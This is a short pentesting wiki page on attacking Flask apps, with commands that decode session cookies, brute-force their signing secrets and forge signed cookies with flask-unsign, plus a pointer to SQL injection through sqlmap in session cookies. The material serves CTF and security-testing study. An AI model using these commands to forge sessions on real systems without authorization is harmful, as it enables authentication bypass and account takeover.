hacktricks/pentesting/pentesting-web/flask.md
2022-01-31 09:51:03 -05:00

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# Flask
**Probably if you are playing a CTF a Flask application will be related to** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/)**.**
## Cookies
Default cookie session name is **`session`**.
### Decoder
Online Flask coockies decoder: [https://www.kirsle.net/wizards/flask-session.cgi](https://www.kirsle.net/wizards/flask-session.cgi)
#### Manual
Get the first part of the cookie until the first point and Base64 decode it>
```bash
echo "ImhlbGxvIg" | base64 -d
```
The cookie is also signed using a password
###  **Flask-Unsign**
Command line tool to fetch, decode, brute-force and craft session cookies of a Flask application by guessing secret keys.
{% embed url="https://pypi.org/project/flask-unsign/" %}
```bash
pip3 install flask-unsign
```
#### **Decode Cookie**
```bash
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
```
#### **Brute Force**
```bash
flask-unsign --unsign --cookie < cookie.txt
```
#### **Signing**
```bash
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
```
#### Signing using legacy (old versions)
```bash
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
```
### SQLi in Flask session cookie with SQLmap
[**This example**](../../pentesting-web/sql-injection/sqlmap/#eval) uses sqlmap `eval` option to **automatically sign sqlmap payloads** for flask using a known secret.